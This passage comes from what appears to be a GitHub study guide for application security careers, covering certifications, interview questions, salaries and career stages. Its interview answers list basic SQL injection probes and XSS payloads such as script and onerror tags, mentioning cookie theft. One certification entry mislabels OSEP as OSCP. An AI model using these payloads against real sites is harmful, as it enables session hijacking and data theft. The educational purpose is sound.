  • Duration: 3-4 months
  • Cost: ~$1,899
  • Coverage: Security foundations
  • Good for: IT professionals transitioning to security

Intermediate Level (2-4 years experience)

1. OSCP (Offensive Security Certified Professional)

  • Duration: 3-6 months preparation
  • Cost: ~$1,649 (includes lab time)
  • Coverage: Practical penetration testing
  • Good for: Serious pentesters
  • Difficulty: High
  • Recommended: HIGHLY recommended
  • Note: 24-hour practical exam

2. GWAPT (GIAC Web Application Penetration Tester)

  • Duration: 3-4 months
  • Cost: ~$2,499
  • Coverage: Web application security
  • Good for: AppSec specialists
  • Recommended: Yes, for web focus

3. eWPT (eLearnSecurity Web Application Penetration Tester)

  • Duration: 2-3 months
  • Cost: ~$400
  • Coverage: Web app pentesting
  • Good for: Practical web security skills
  • Recommended: Good alternative to GWAPT

4. Burp Suite Certified Practitioner

  • Duration: 1-2 months
  • Cost: $99
  • Coverage: Burp Suite and web security
  • Good for: Web app security testers
  • Recommended: Yes, affordable and valuable

5. AWS Certified Security - Specialty

  • Duration: 2-3 months
  • Cost: ~$300
  • Coverage: AWS security services
  • Good for: Cloud security roles
  • Recommended: Yes, for cloud-focused careers

Advanced Level (4+ years experience)

1. OSWE (Offensive Security Web Expert)

  • Duration: 4-6 months
  • Cost: ~$1,649
  • Coverage: Advanced web exploitation
  • Good for: Expert web pentesters
  • Difficulty: Very High
  • Recommended: For advanced practitioners
  • Note: Code review and exploitation

2. GXPN (GIAC Exploit Researcher and Advanced Penetration Tester)

  • Duration: 4-6 months
  • Cost: ~$2,499
  • Coverage: Exploit development, advanced techniques
  • Good for: Red team operators

3. OSCP (Offensive Security Experienced Penetration Tester)

  • Duration: 6-12 months
  • Cost: ~$5,499
  • Coverage: Advanced red team operations
  • Good for: Elite pentesters
  • Difficulty: Extremely High

4. CSSLP (Certified Secure Software Lifecycle Professional)

  • Duration: 3-4 months
  • Cost: ~$599
  • Coverage: Secure SDLC
  • Good for: AppSec architects, secure dev leads
  • Recommended: For management-track roles

5. CISSP (Certified Information Systems Security Professional)

  • Duration: 3-6 months
  • Cost: ~$749
  • Coverage: Broad security knowledge
  • Good for: Security managers, architects
  • Requirement: 5 years experience (or 4 + degree)
  • Note: More management-focused

Cloud-Specific Certifications

AWS:

  • AWS Certified Security - Specialty
  • Cost: ~$300
  • Best for: AWS-focused roles

Azure:

  • Azure Security Engineer Associate (AZ-500)
  • Cost: ~$165
  • Best for: Azure environments

GCP:

  • Google Professional Cloud Security Engineer
  • Cost: ~$200
  • Best for: GCP security

Certification Path Recommendation

Path 1: Web Application Security Specialist

  1. Security+ (optional, for foundations)
  2. eWPT or GWAPT
  3. Burp Suite Certified Practitioner
  4. OSCP
  5. OSWE

Path 2: Cloud Security Engineer

  1. Security+
  2. AWS Certified Security - Specialty
  3. OSCP (for pentesting skills)
  4. CSSLP (for secure development)

Path 3: Full-Stack Security Professional

  1. eJPT
  2. OSCP
  3. GWAPT or eWPT
  4. AWS/Azure/GCP Security
  5. OSWE or GXPN

Interview Preparation

Common Technical Questions

1. Explain the OWASP Top 10

  • Be ready to explain each vulnerability
  • Provide real-world examples
  • Discuss mitigation strategies

2. How would you test for SQL Injection?

- Identify injection points
- Test with single quote (')
- Boolean-based testing (' OR '1'='1)
- Union-based queries
- Time-based blind SQLi
- Out-of-band techniques
- Show understanding of different databases

3. What is the difference between authentication and authorization?

Authentication: Verifying who you are (login)
Authorization: Verifying what you can access (permissions)

Example: 
- Authentication: Username/password login
- Authorization: Admin panel access control

4. Explain Same-Origin Policy and CORS

Same-Origin Policy:
- Browser security feature
- Restricts how documents/scripts from one origin interact with resources from another origin
- Origin = protocol + domain + port

CORS:
- Allows controlled cross-origin access
- Server explicitly allows specific origins
- Uses preflight requests for complex requests

5. How do you secure an API?

- Authentication (OAuth 2.0, JWT, API keys)
- Authorization (role-based access control)
- Rate limiting
- Input validation
- Output encoding
- HTTPS only
- API versioning
- Logging and monitoring
- Security headers
- CORS configuration

6. Walk me through finding and exploiting an XSS vulnerability

1. Identify input points (search, comments, user profile)
2. Test with basic payload: <script>alert(1)</script>
3. If filtered, try bypasses:
   - <img src=x onerror=alert(1)>
   - <svg onload=alert(1)>
   - JavaScript URL: javascript:alert(1)
4. Test in different contexts (HTML, attribute, JavaScript)
5. Exploit for cookie theft, session hijacking, etc.
6. Report with PoC and impact assessment

7. Describe the difference between SAST, DAST, and IAST

SAST (Static):
- Analyzes source code
- No execution required
- Fast, early detection
- High false positives

DAST (Dynamic):
- Tests running application
- Black-box approach
- Finds runtime issues
- May miss some code paths

IAST (Interactive):
- Combines SAST and DAST
- Instruments application
- Real-time analysis during testing
- Lower false positives

8. How would you implement secure password storage?

- Never store plaintext passwords
- Use strong hashing algorithms (bcrypt, Argon2, scrypt)
- Add unique salt per password
- Use sufficient iterations/work factor
- Consider pepper (server-side secret)
- Implement account lockout after failed attempts
- Monitor for credential stuffing attacks

Example (Python):
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))

Behavioral Questions

1. Tell me about a security vulnerability you found

  • Describe the vulnerability clearly
  • Explain your testing methodology
  • Discuss the impact
  • Mention how it was fixed
  • What you learned

2. How do you stay current with security trends?

  • Follow security blogs and researchers
  • Participate in CTFs
  • Read vulnerability disclosures
  • Attend conferences (virtual/in-person)
  • Practice on vulnerable applications
  • Contribute to open-source security projects

3. Describe a time you had to explain a security issue to non-technical stakeholders

  • Use analogies
  • Focus on business impact
  • Provide actionable recommendations
  • Show empathy and patience

4. How do you prioritize security vulnerabilities?

Consider:
- Severity (CVSS score)
- Exploitability
- Business impact
- Data sensitivity
- Public exposure
- Ease of remediation
- Compliance requirements

Framework: Risk = Likelihood × Impact

5. Tell me about a disagreement with a developer about a security issue

  • Show collaboration skills
  • Explain technical reasoning
  • Demonstrate compromise
  • Focus on outcome

Practical Challenges

1. Live Coding: Write a function to prevent SQL injection

# ❌ Vulnerable
def get_user(user_id):
    query = f"SELECT * FROM users WHERE id = {user_id}"
    return db.execute(query)

# ✓ Secure
def get_user(user_id):
    query = "SELECT * FROM users WHERE id = ?"
    return db.execute(query, (user_id,))

2. Security Code Review Be prepared to review code snippets and identify vulnerabilities

3. Architecture Design Design a secure authentication system or API

4. Incident Response Scenario How would you respond to a production security incident?

Questions to Ask Interviewer

  1. "What does the security culture look like here?"
  2. "How is security integrated into the SDLC?"
  3. "What security tools and technologies does the team use?"
  4. "How does the security team collaborate with development?"
  5. "What are the biggest security challenges facing the organization?"
  6. "How is success measured for this role?"
  7. "What opportunities are there for learning and professional development?"

Salary Expectations (US Market - 2024)

Entry Level (0-2 years):

  • $70,000 - $100,000

Mid Level (2-5 years):

  • $100,000 - $150,000

Senior (5-10 years):

  • $150,000 - $200,000

Lead/Principal (10+ years):

  • $200,000 - $300,000+

Note: Salaries vary significantly by location, company size, and industry


Career Progression

Junior Application Security Engineer (0-2 years)

Responsibilities:

  • Perform basic security testing
  • Run automated scanning tools
  • Report and track vulnerabilities
  • Learn secure coding practices
  • Participate in code reviews

Skills to Develop:

  • Master OWASP Top 10
  • Learn Burp Suite proficiently
  • Understand web technologies
  • Basic scripting (Python, Bash)
  • Communication skills

Application Security Engineer (2-5 years)

Responsibilities:

  • Lead security assessments
  • Perform threat modeling
  • Provide remediation guidance
  • Develop security tools
  • Train developers

Skills to Develop:

  • Advanced exploitation techniques
  • Multiple programming languages
  • Security architecture
  • Threat modeling frameworks
  • DevSecOps practices

Senior Application Security Engineer (5-10 years)

Responsibilities:

  • Design security programs
  • Lead major initiatives
  • Mentor junior team members
  • Engage with executive leadership
  • Drive security culture

Skills to Develop:

  • Leadership and mentorship
  • Project management
  • Business acumen
  • Advanced architecture
  • Compliance knowledge

Principal/Lead/Staff (10+ years)

Responsibilities:

  • Set security strategy
  • Influence company direction
  • Represent company externally
  • Research and innovation
  • Cross-functional leadership

Skills to Develop:

  • Strategic thinking
  • Organization-wide influence
  • Industry thought leadership
  • Executive communication

Final Tips for Success

1. Consistent Practice

  • Dedicate time daily (even 30 minutes)
  • Mix theory with hands-on practice
  • Don't just read - actually hack things

2. Build a Portfolio

  • Write blog posts about your learnings
  • Create security tools or scripts
  • Contribute to open-source security projects
  • Share CTF writeups
  • Build a GitHub presence

3. Network and Community

  • Attend local security meetups
  • Join online communities (Discord, Slack)
  • Participate in Twitter security discussions
  • Attend security conferences
  • Find a mentor

4. Stay Curious

  • Always ask "how can this be broken?"
  • Read security research papers
  • Follow CVE disclosures
  • Experiment with new tools and techniques

5. Balance Breadth and Depth

  • Understand fundamentals across all areas
  • Specialize in 2-3 areas deeply
  • Know when to dive deep vs. when to move on

6. Document Everything

  • Keep notes of what you learn
  • Create your own cheat sheets
  • Document your methodology
  • Track vulnerabilities you find

7. Legal and Ethical Considerations

  • Only test systems you have permission to test
  • Respect responsible disclosure
  • Understand legal boundaries
  • Always act ethically

8. Health and Sustainability

  • Avoid burnout - pace yourself
  • Take breaks
  • Maintain work-life balance
  • Celebrate small wins

Other Resources


Contributing

This guide is meant to be a living document. The security field evolves rapidly, and so should this resource. Suggestions for updates, corrections, or additional resources are always welcome!

Areas for Community Contribution:

  • New tools and platforms
  • Updated techniques and methodologies
  • Additional learning resources
  • Real-world case studies
  • Interview experiences
  • Career progression insights

Remember: Security is a journey, not a destination. Stay curious, stay ethical, and never stop learning!


About

Complete roadmap and study guide for becoming an Application Security Engineer. Includes learning paths, hands-on labs, tools, certifications, and career resources.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published